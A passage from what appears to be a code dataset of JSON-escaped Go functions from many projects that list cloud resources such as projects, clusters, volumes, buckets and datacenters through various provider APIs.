([]*Project, *selvpcclient.ResponseResult, error) {\n\turl := strings.Join([]string{client.Endpoint, resourceURL}, \"/\")\n\tresponseResult, err := client.DoRequest(ctx, http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tif responseResult.Err != nil {\n\t\treturn nil, responseResult, responseResult.Err\n\t}\n\n\t// Extract projects from the response body.\n\tvar result struct {\n\t\tProjects []*Project `json:\"projects\"`\n\t}\n\terr = responseResult.ExtractResult(&result)\n\tif err != nil {\n\t\treturn nil, responseResult, err\n\t}\n\n\treturn result.Projects, responseResult, nil\n}", "func getCloudNames() ([]string, error) {\n\tclouds, err := clientconfig.LoadCloudsYAML()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ti := 0\n\tcloudNames := make([]string, len(clouds))\n\tfor k := range clouds {\n\t\tcloudNames[i] = k\n\t\ti++\n\t}\n\t// Sort cloudNames so we can use sort.SearchStrings\n\tsort.Strings(cloudNames)\n\treturn cloudNames, nil\n}", "func (*Service) ListDatacenters(c context.Context, req *crimson.ListDatacentersRequest) (*crimson.ListDatacentersResponse, error) {\n\tdatacenters, err := listDatacenters(c, stringset.NewFromSlice(req.Names...))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &crimson.ListDatacentersResponse{\n\t\tDatacenters: datacenters,\n\t}, nil\n}", "func List(client *gophercloud.ServiceClient, opts ListOptsBuilder) pagination.Pager {\n\turl := baseURL(client)\n\tif opts != nil {\n\t\tquery, err := opts.ToZoneListQuery()\n\t\tif err != nil {\n\t\t\treturn pagination.Pager{Err: err}\n\t\t}\n\t\turl += query\n\t}\n\treturn pagination.NewPager(client, url, func(r pagination.PageResult) pagination.Page {\n\t\treturn ZonePage{pagination.LinkedPageBase{PageResult: r}}\n\t})\n}", "func (c *Controller) listPlatforms(r *web.Request) (*web.Response, error) {\n\tctx := r.Context()\n\tlog.C(ctx).Debug(\"Getting all platforms\")\n\tplatforms, err := c.PlatformStorage.List(ctx, query.CriteriaForContext(ctx)...)\n\tif err != nil {\n\t\treturn nil, util.HandleSelectionError(err)\n\t}\n\n\tfor _, platform := range platforms {\n\t\tplatform.Credentials = nil\n\t}\n\n\treturn util.NewJSONResponse(http.StatusOK, struct {\n\t\tPlatforms []*types.Platform `json:\"platforms\"`\n\t}{\n\t\tPlatforms: platforms,\n\t})\n}", "func (bc *Baiducloud) ListClusters(ctx context.Context) ([]string, error) {\n\treturn nil, fmt.Errorf(\"ListClusters unimplemented\")\n}", "func (m *VirtualEndpoint) GetCloudPCs()([]CloudPCable) {\n val, err := m.GetBackingStore().Get(\"cloudPCs\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]CloudPCable)\n }\n return nil\n}", "func (c *Client) CloudProjectSnapshotsList(projectID, region string) ([]types.CloudImage, error) {\n\tvar path string\n\tif region == \"\" {\n\t\tpath = queryEscape(\"/cloud/project/%s/snapshot\", projectID)\n\n\t} else {\n\t\tpath = queryEscape(\"/cloud/project/%s/snapshot?region=%s\", projectID, region)\n\t}\n\timages := []types.CloudImage{}\n\treturn images, c.Get(path, &images)\n}", "func listCloudBucketsHandler(c *cli.Context) (err error) {\n\tbck := cmn.Bck{\n\t\tName: c.Args().First(),\n\t\tProvider: cmn.Cloud,\n\t}\n\tif bck.Name == \"\" {\n\t\treturn listBucketNames(c, bck)\n\t}\n\n\tbck.Name = strings.TrimSuffix(bck.Name, \"/\")\n\treturn listBucketObj(c, bck)\n}", "func (srv *VolumeService) List() ([]api.Volume, error) {\n\treturn srv.provider.ListVolumes()\n}", "func (c *googleCloudStorageSources) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.GoogleCloudStorageSourceList, err error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\tresult = &v1alpha1.GoogleCloudStorageSourceList{}\n\terr = c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"googlecloudstoragesources\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tDo(ctx).\n\t\tInto(result)\n\treturn\n}", "func (c starterClusterServiceOp) List(ctx context.Context) (*[]models.Cluster, *Response, error) {\n\tvar clusterList []models.Cluster\n\tgraphqlRequest := models.GraphqlRequest{\n\t\tName: \"clusters\",\n\t\tOperation: models.Query,\n\t\tInput: clusterList,\n\t\tArgs: models.ClusterListInput{\n\t\t\tProductType: models.Starter,\n\t\t},\n\t\tResponse: clusterList,\n\t}\n\treq, err := c.client.NewRequest(&graphqlRequest)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tresp, err := c.client.Do(ctx, req, &clusterList)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn &clusterList, resp, err\n}", "func (c *ComputerClient) List() (computers ComputerList, err error) {\n\terr = c.RequestWithData(\"GET\", \"/computer/api/json\",\n\t\tnil, nil, 200, &computers)\n\treturn\n}", "func (c Client) ListClusters() (ClusterList, error) {\n\tbody, err := c.watsonClient.MakeRequest(\"GET\", c.version+\"/solr_clusters\", nil, nil)\n\tif err != nil {\n\t\treturn ClusterList{}, err\n\t}\n\tvar response ClusterList\n\terr = json.Unmarshal(body, &response)\n\treturn response, err\n}", "func (digitalocean DigitalOcean) ListVolumes() ([]godo.Volume, error) {\n\tclient, err := DigitalOceanClient()\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tvolumes, _, err := client.client.Storage.ListVolumes(client.context, &godo.ListVolumeParams{})\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn volumes, err\n}", "func (s *API) ListDatabases(req *ListDatabasesRequest, opts ...scw.RequestOption) (*ListDatabasesResponse, error) {\n\tvar err error\n\n\tif req.Region == \"\" {\n\t\tdefaultRegion, _ := s.client.GetDefaultRegion()\n\t\treq.Region = defaultRegion\n\t}\n\n\tdefaultPageSize, exist := s.client.GetDefaultPageSize()\n\tif (req.PageSize == nil || *req.PageSize == 0) && exist {\n\t\treq.PageSize = &defaultPageSize\n\t}\n\n\tquery := url.Values{}\n\tparameter.AddToQuery(query, \"name\", req.Name)\n\tparameter.AddToQuery(query, \"managed\", req.Managed)\n\tparameter.AddToQuery(query, \"owner\", req.Owner)\n\tparameter.AddToQuery(query, \"order_by\", req.OrderBy)\n\tparameter.AddToQuery(query, \"page\", req.Page)\n\tparameter.AddToQuery(query, \"page_size\", req.PageSize)\n\n\tif fmt.Sprint(req.Region) == \"\" {\n\t\treturn nil, errors.New(\"field Region cannot be empty in request\")\n\t}\n\n\tif fmt.Sprint(req.InstanceID) == \"\" {\n\t\treturn nil, errors.New(\"field InstanceID cannot be empty in request\")\n\t}\n\n\tscwReq := &scw.ScalewayRequest{\n\t\tMethod: \"GET\",\n\t\tPath: \"/rdb/v1/regions/\" + fmt.Sprint(req.Region) + \"/instances/\" + fmt.Sprint(req.InstanceID) + \"/databases\",\n\t\tQuery: query,\n\t\tHeaders: http.Header{},\n\t}\n\n\tvar resp ListDatabasesResponse\n\n\terr = s.client.Do(scwReq, &resp, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resp, nil\n}", "func ListZones(r *route53.Route53) {\n\tresp, err := r.ListHostedZones(&route53.ListHostedZonesRequest{})\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tfmt.Println(*resp)\n}", "func (svc ServerlessClusterService) List(ctx context.Context) (*[]models.Cluster, *Response, error) {\n\tvar clusterList []models.Cluster\n\tgraphqlRequest := models.GraphqlRequest{\n\t\tName: \"clusters\",\n\t\tOperation: models.Query,\n\t\tInput: nil,\n\t\tArgs: models.ClusterListInput{\n\t\t\tProductType: models.Starter,\n\t\t},\n\t\tResponse: clusterList,\n\t}\n\treq, err := svc.client.NewRequest(&graphqlRequest)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tresp, err := svc.client.Do(ctx, req, &clusterList)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn &clusterList, resp, err\n}", "func (c *Client) CloudProjectRegionList(projectID string) ([]string, error) {\n\tvar r []string\n\treturn r, c.Get(queryEscape(\"/cloud/project/%s/region\", projectID), &r)\n}", "func (cc *Controller) AddClouds(clouds ...Cloud) error {\n\tfor _, c := range clouds {\n\t\tkind := string(c.Type)\n\t\tconstructor := GetConstructor(kind)\n\t\tif constructor == nil {\n\t\t\terr := fmt.Errorf(\"CloudController: no cloud constructor found for kind[%s]\", kind)\n\t\t\tlogdog.Error(err)\n\t\t\treturn err\n\t\t}\n\n\t\topt := convertCloudToOption(c)\n\t\tcloud, err := constructor(opt)\n\t\tif err != nil {\n\t\t\tlogdog.Error(\"CloudController: create cloud error\", logdog.Fields{\"err\": err})\n\t\t\treturn err\n\t\t}\n\t\tcc.Clouds[c.Name] = cloud\n\t\tlogdog.Debug(\"CloudController: add cloud successfully\", logdog.Fields{\"name\": c.Name, \"kind\": kind})\n\t}\n\treturn nil\n}", "func listClusters(w http.ResponseWriter, r *http.Request, t auth.Token) (err error) {\n\tctx := r.Context()\n\tallowed := permission.Check(t, permission.PermClusterRead)\n\tif !allowed {\n\t\treturn permission.ErrUnauthorized\n\t}\n\tclusters, err := servicemanager.Cluster.List(ctx)\n\tif err != nil {\n\t\tif err == provTypes.ErrNoCluster {\n\t\t\tw.WriteHeader(http.StatusNoContent)\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t}\n\tadmin := permission.Check(t, permission.PermClusterAdmin)\n\tif !admin {\n\t\tfor i := range clusters {\n\t\t\tclusters[i].CleanUpSensitive()\n\t\t}\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\treturn json.NewEncoder(w).Encode(clusters)\n}", "func List(c *gophercloud.ServiceClient, opts os.ListOptsBuilder) pagination.Pager {\n\treturn os.List(c, opts)\n}", "func (a *Client) PcloudCloudinstancesVolumesGetall(params *PcloudCloudinstancesVolumesGetallParams, authInfo runtime.ClientAuthInfoWriter) (*PcloudCloudinstancesVolumesGetallOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPcloudCloudinstancesVolumesGetallParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"pcloud.cloudinstances.volumes.getall\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/pcloud/v1/cloud-instances/{cloud_instance_id}/volumes\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\"},\n\t\tParams: params,\n\t\tReader: &PcloudCloudinstancesVolumesGetallReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*PcloudCloudinstancesVolumesGetallOK), nil\n\n}", "func (c *MockDisksClient) List(ctx context.Context, resourceGroupName string) ([]compute.Disk, error) {\n\tvar l []compute.Disk\n\tfor _, disk := range c.Disks {\n\t\tl = append(l, disk)\n\t}\n\treturn l, nil\n}", "func (api *hostAPI) ApisrvList(ctx context.Context, opts *api.ListWatchOptions) ([]*cluster.Host, error) {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn apicl.ClusterV1().Host().List(context.Background(), opts)\n\t}\n\n\t// List from local cache\n\tctkitObjs, err := api.List(ctx, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar ret []*cluster.Host\n\tfor _, obj := range ctkitObjs {\n\t\tret = append(ret, &obj.Host)\n\t}\n\treturn ret, nil\n}", "func (a *SatellitesApiService) ListSatellites(ctx _context.Context, cloud string) ([]Satellite, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue []Satellite\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/v1/satellites/{cloud}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"cloud\"+\"}\", _neturl.QueryEscape(parameterToString(cloud, \"\")) , -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 200 {\n\t\t\tvar v []Satellite\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "func (s *StackEbrc) ListVolumes() ([]abstract.Volume, fail.Error) {\n\tlogrus.Debug(\"ebrc.Client.ListVolumes() called\")\n\tdefer logrus.Debug(\"ebrc.Client.ListVolumes() done\")\n\n\tvar volumes []abstract.Volume\n\n\torg, vdc, err := s.getOrgVdc()\n\tif err != nil {\n\t\treturn volumes, fail.Wrap(err, fmt.Sprintf(\"Error listing volumes\"))\n\t}\n\n\t// Check if network is already there\n\trefs, err := getLinks(org, \"vnd.vmware.vcloud.disk+xml\")\n\tif err != nil {\n\t\treturn nil, fail.Wrap(err, fmt.Sprintf(\"Error recovering network information\"))\n\t}\n\tfor _, ref := range refs {\n\t\t// FIXME: Add data\n\t\tdr, err := vdc.QueryDisk(ref.Name)\n\t\tif err == nil {\n\t\t\tthed, err := vdc.FindDiskByHREF(dr.Disk.HREF)\n\t\t\tif err == nil {\n\t\t\t\tvolumes = append(volumes, abstract.Volume{Name: ref.Name, ID: ref.ID, Size: thed.Disk.Size})\n\t\t\t}\n\t\t}\n\t}\n\n\treturn volumes, nil\n}", "func (s *ProjectsService) List(ctx context.Context, opts *PagingOptions) (*ProjectsList, error) {\n\tquery := addPaging(url.Values{}, opts)\n\treq, err := s.Client.NewRequest(ctx, http.MethodGet, newURI(projectsURI), WithQuery(query))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"get projects request creation failed: %w\", err)\n\t}\n\tres, resp, err := s.Client.Do(req)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"list projects failed: %w\", err)\n\t}\n\n\tif resp != nil && resp.StatusCode == http.StatusNotFound {\n\t\treturn nil, ErrNotFound\n\t}\n\n\tif resp != nil && resp.StatusCode == http.StatusBadRequest {\n\t\treturn nil, fmt.Errorf(\"list projects failed: %s\", resp.Status)\n\t}\n\n\tp := &ProjectsList{\n\t\tProjects: []*Project{},\n\t}\n\tif err := json.Unmarshal(res, p); err != nil {\n\t\treturn nil, fmt.Errorf(\"list projects failed, unable to unmarshal repository list json: %w\", err)\n\t}\n\n\tfor _, r := range p.GetProjects() {\n\t\tr.Session.set(resp)\n\t}\n\n\treturn p, nil\n}", "func (s *Service) ListVpcs() ([]string, error) {\n\tclusterIDs := []string{}\n\n\tvpc := &awsresources.VPC{\n\t\tInstallationName: s.installationName,\n\t\tAWSEntity: awsresources.AWSEntity{Clients: s.awsClients},\n\t}\n\n\tvpcs, err := vpc.List()\n\tif err != nil {\n\t\treturn []string{}, microerror.Mask(err)\n\t}\n\n\tfor _, vpc := range vpcs {\n\t\tclusterIDs = append(clusterIDs, vpc.Name)\n\t}\n\n\treturn clusterIDs, nil\n}", "func List() ([]clusterapi.Cluster, error) {\n\tvar clusterList []clusterapi.Cluster\n\terr := utils.BrowseMetadataContent(clusterapi.ClusterMetadataPrefix, func(buf *bytes.Buffer) error {\n\t\tvar c clusterapi.Cluster\n\t\terr := gob.NewDecoder(buf).Decode(&c)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tclusterList = append(clusterList, c)\n\t\treturn nil\n\t})\n\treturn clusterList, err\n}", "func (taker TakerStorageGCP) ListBuckets(project *reportProject) (gcpBuckets []*storage.Bucket, err error) {\n\tif objResponse, objErr := taker.storageService.Buckets.List(project.gcpProject.ProjectId).Do(); objErr == nil {\n\t\tgcpBuckets = objResponse.Items\n\t} else {\n\t\terr = objErr\n\t}\n\treturn\n}", "func List(c *gophercloud.ServiceClient) pagination.Pager {\n\treturn common.List(c)\n}", "func (c *Client) AllDatacenters() (datacenters []Datacenter, err error) {\n\tresp, err := c.Get(\"/datacenters\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar m []Datacenter\n\tif err := decodeBodyMap(resp.Body, &m); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn m, nil\n}", "func (c *Catalog) Datacenters() ([]string, error) {\n\tr := c.c.newRequest(\"GET\", \"/v1/catalog/datacenters\")\n\t_, resp, err := c.c.doRequest(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer closeResponseBody(resp)\n\tif err := requireOK(resp); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar out []string\n\tif err := decodeBody(resp, &out); err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}", "func (service *S3Service) ListBuckets() ([]*S3Bucket,error) {\n request := service.newS3Request().prepare()\n response,err := request.execute(service.client)\n if err != nil {\n return nil, err\n }\n\n defer response.Close()\n\n // FIXME - process list of buckets\n return make([]*S3Bucket,0),nil\n}", "func (s *CloudsService) Get(ctx context.Context, org, cloud string) (*Cloud, *http.Response, error) {\n\tif org == \"\" {\n\t\treturn nil, nil, errors.New(\"org name must be non-empty\")\n\t}\n\tif cloud == \"\" {\n\t\treturn nil, nil, errors.New(\"cloud name must be non-empty\")\n\t}\n\tc := fmt.Sprintf(\"%v/clouds/%v\", org, cloud)\n\n\treq, err := s.client.NewRequest(\"GET\", c, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\torgCloud := new(Cloud)\n\tresp, err := s.client.Do(ctx, req, orgCloud)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn orgCloud, resp, nil\n}", "func (client *Client) GetCloudAccounts() (cloudAccounts []*CloudAccount, err error) {\n\tvar body []byte\n\tif body, err = client.executeRequest(http.MethodGet, getCloudAccounts, nil); err == nil {\n\t\tcloudAccounts = make([]*CloudAccount, 0)\n\t\terr = json.Unmarshal(body, &cloudAccounts)\n\t}\n\n\treturn cloudAccounts, err\n}", "func List(k8sClient client.Client, obj client.ObjectList) error {\n\treturn k8sClient.List(context.TODO(), obj, &client.ListOptions{})\n}", "func (adm Admin) ListClusters() (string, error) {\n\tconn := newConnection(adm.ZkSvr)\n\terr := conn.Connect()\n\tif err != nil {\n\t\tfmt.Println(\"Failed to connect to zookeeper.\")\n\t\treturn \"\", err\n\t}\n\tdefer conn.Disconnect()\n\n\tvar clusters []string\n\n\tchildren, err := conn.Children(\"/\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfor _, cluster := range children {\n\t\tif ok, err := conn.IsClusterSetup(cluster); ok && err == nil {\n\t\t\tclusters = append(clusters, cluster)\n\t\t}\n\t}\n\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"Existing clusters: \\n\")\n\n\tfor _, cluster := range clusters {\n\t\tbuffer.WriteString(\" \" + cluster + \"\\n\")\n\t}\n\treturn buffer.String(), nil\n}", "func List(client *gophercloud.ServiceClient) pagination.Pager {\n\treturn os.List(client)\n}", "func (cl *Client) gceVolumeList(ctx context.Context, vla *csp.VolumeListArgs, volumeType string) ([]*csp.Volume, error) {\n\tcomputeService, err := cl.getComputeService(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfilter := \"\"\n\tif volumeType != \"\" {\n\t\tfilter = fmt.Sprintf(`type=\"%s\"`, volumeType)\n\t}\n\tfor _, tag := range vla.Tags {\n\t\tif filter != \"\" {\n\t\t\tfilter += \" AND \"\n\t\t}\n\t\tkv := strings.SplitN(tag, \":\", 2)\n\t\tif len(kv) == 1 { // if just \"key\" is specified then the existence of a label with that key will be matched\n\t\t\tfilter += fmt.Sprintf(\"labels.%s:*\", kv[0])\n\t\t} else { // if specified here as \"key:value\" then both the key and value will be matched\n\t\t\tfilter += fmt.Sprintf(`labels.%s=\"%s\"`, kv[0], kv[1])\n\t\t}\n\t}\n\treq := computeService.Disks().List(cl.projectID, cl.attrs[AttrZone].Value).Filter(filter)\n\tresult := []*csp.Volume{}\n\tif err = req.Pages(ctx, func(page *compute.DiskList) error {\n\t\tfor _, disk := range page.Items {\n\t\t\tvol := gceDiskToVolume(disk)\n\t\t\tresult = append(result, vol)\n\t\t}\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to list GC disks: %w\", err)\n\t}\n\treturn result, nil\n}", "func (api *clusterAPI) ApisrvList(ctx context.Context, opts *api.ListWatchOptions) ([]*cluster.Cluster, error) {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn apicl.ClusterV1().Cluster().List(context.Background(), opts)\n\t}\n\n\t// List from local cache\n\tctkitObjs, err := api.List(ctx, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar ret []*cluster.Cluster\n\tfor _, obj := range ctkitObjs {\n\t\tret = append(ret, &obj.Cluster)\n\t}\n\treturn ret, nil\n}", "func (a *Client) ListClusters(params *ListClustersParams, authInfo runtime.ClientAuthInfoWriter) (*ListClustersOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewListClustersParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"ListClusters\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/api/v1/clusters\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &ListClustersReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*ListClustersOK), nil\n\n}", "func (sdk *SDK) ListNodes() ([]*cloudsvr.CloudNode, error) {\n\t// query all regions\n\tregions, err := sdk.ListRegions()\n\tif err != nil {\n\t\tlog.Errorf(\"sdk.ListNodes.ListRegions() error: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tvar (\n\t\tret []*cloudsvr.CloudNode\n\t\tmux sync.Mutex\n\t\twg sync.WaitGroup\n\t)\n\n\t// query each region's ecs instances\n\twg.Add(len(regions))\n\tfor _, reg := range regions {\n\t\tgo func(reg RegionType) {\n\t\t\tdefer wg.Done()\n\t\t\tecses, err := sdk.ListEcses(reg.RegionID)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"sdk.ListNodes.ListEcses() on %s error: %v\", reg.RegionID, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfor _, ecsAttr := range ecses {\n\t\t\t\ttags := ecsAttr.Tags.Tag\n\t\t\t\tif len(tags) == 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tvar ipaddr string\n\t\t\t\tif ipaddrs := ecsAttr.PublicIPAddress.IPAddress; len(ipaddrs) > 0 {\n\t\t\t\t\tipaddr = ipaddrs[0]\n\t\t\t\t}\n\n\t\t\t\tkey, val := tags[0].TagKey, tags[0].TagValue\n\t\t\t\tif key == cloudsvr.CLOUDFLAGKEY && val == CloudType {\n\t\t\t\t\tmux.Lock()\n\t\t\t\t\tret = append(ret, &cloudsvr.CloudNode{\n\t\t\t\t\t\tID: ecsAttr.InstanceID,\n\t\t\t\t\t\tRegionOrZoneID: ecsAttr.RegionID,\n\t\t\t\t\t\tInstanceType: ecsAttr.InstanceType,\n\t\t\t\t\t\tCloudSvrType: sdk.Type(),\n\t\t\t\t\t\tIPAddr: ipaddr,\n\t\t\t\t\t\tCreatTime: ecsAttr.CreationTime,\n\t\t\t\t\t\tStatus: ecsAttr.Status,\n\t\t\t\t\t})\n\t\t\t\t\tmux.Unlock()\n\t\t\t\t}\n\t\t\t}\n\t\t}(reg)\n\t}\n\twg.Wait()\n\n\treturn ret, nil\n}", "func ListClusters(c *cli.Context) error {\n\tif err := printClusters(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *cloudfrontDistributionLister) List(selector labels.Selector) (ret []*v1alpha1.CloudfrontDistribution, err error) {\n\terr = cache.ListAll(s.indexer, selector, func(m interface{}) {\n\t\tret = append(ret, m.(*v1alpha1.CloudfrontDistribution))\n\t})\n\treturn ret, err\n}", "func (a *Client) VirtualizationClustersList(params *VirtualizationClustersListParams) (*VirtualizationClustersListOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewVirtualizationClustersListParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"virtualization_clusters_list\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/api/virtualization/clusters/\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\"},\n\t\tParams: params,\n\t\tReader: &VirtualizationClustersListReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*VirtualizationClustersListOK), nil\n\n}", "func (u *UpCloud) GetStorages(filter RouteGetStorageFilter) (p *[]Storage, err error) {\n\tvar resp getStoragesResponse\n\t// Make request to \"Get Servers\" route\n\tif err = u.request(\"GET\", string(filter), nil, nil, &resp); err != nil {\n\t\treturn\n\t}\n\n\t// Set return value from response\n\tp = resp.Storages.Storage\n\treturn\n}", "func (c *TestClient) ListInstances(project, zone string, opts ...ListCallOption) ([]*compute.Instance, error) {\n\tif c.ListInstancesFn != nil {\n\t\treturn c.ListInstancesFn(project, zone, opts...)\n\t}\n\treturn c.client.ListInstances(project, zone, opts...)\n}", "func (s *PlatformsService) ListAll(ctx context.Context, org, assembly string) ([]*Platform, *http.Response, error) {\n\tif org == \"\" {\n\t\treturn nil, nil, errors.New(\"org name must be non-empty\")\n\t}\n\tif assembly == \"\" {\n\t\treturn nil, nil, errors.New(\"assembly name must be non-empty\")\n\t}\n\tap := fmt.Sprintf(\"%v/assemblies/%v/design/platforms\", org, assembly)\n\n\treq, err := s.client.NewRequest(\"GET\", ap, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar assemblyPlatforms []*Platform\n\tresp, err := s.client.Do(ctx, req, &assemblyPlatforms)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn assemblyPlatforms, resp, nil\n}", "func (s *PVCStore) List() []*v1.PersistentVolumeClaim {\n\tobjects := s.Store.List()\n\tpvcs := make([]*v1.PersistentVolumeClaim, 0, len(objects))\n\tfor _, o := range objects {\n\t\tpvcs = append(pvcs, o.(*v1.PersistentVolumeClaim))\n\t}\n\treturn pvcs\n}", "func (s *Currencies) List(params *list_params.ListParams) ([]*models.Currency, error) {\n\tvar currencies []*models.Currency\n\n\tquery := processDbQuery(params, s.db)\n\tif err := query.Find(&currencies).Error; err != nil {\n\t\treturn currencies, err\n\t}\n\treturn currencies, nil\n}", "func (cs *controller) 